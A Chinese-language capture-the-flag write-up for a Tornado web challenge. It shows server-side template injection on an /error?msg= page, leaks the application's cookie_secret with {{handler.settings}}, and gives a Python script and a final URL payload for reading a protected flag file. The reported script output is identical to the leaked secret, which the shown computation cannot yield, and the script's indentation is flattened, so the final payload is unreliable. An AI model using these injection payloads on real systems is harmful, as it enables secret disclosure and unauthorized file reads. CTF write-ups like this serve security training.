题目:
/flag.txt
url: *.*.*.*/file?filename=/flag.txt&filehash=9f745247e9a50c19f78380013e086deb
/welcome.txt
url:*.*.*.*/file?filename=/welcome.txt&filehash=1123ed7148dd6878570aa044ed6a7bf3
/hints.txt
url:*.*.*.*/file?filename=/hints.txt&filehash=ea4225e48f839391f5fd52eeeb6e7155
过程:
发现render函数:将文件内容显示在网页上 render函数介绍
测试后发现还有个error界面,格式为:/error?msg=Error
联想render函数,尝试msg=1
尝试是否可以进行运算msg={{0^1}},发现可以进行运算
且flag在一个名字为/fllllllllllllag的文件里面,仿照url格式,我们还需要知道filehash值,filehash是一个md5后的值,联想第三个界面
md5(cookie_secret+md5(filename)),我们还需要知道cookie_secret,通过漫长的官方文档阅读过程Tornado官方文档,最终找到Tornado框架的附属文件handler.settings中存在cookie_secret
*.*.*.*/error?msg={{handler.settings}}
接下来简单的python脚本就可以了
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s.encode("utf8"))
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '89578fcb715af04268011d343e569dcc'
print(md5(cookie_secret+md5(filename)))
if __name__ == '__main__':
filehash()
输出:89578fcb715af04268011d343e569dcc
构造payload:/file?filename=/fllllllllllllag&filehash=89578fcb715af04268011d343e569dcc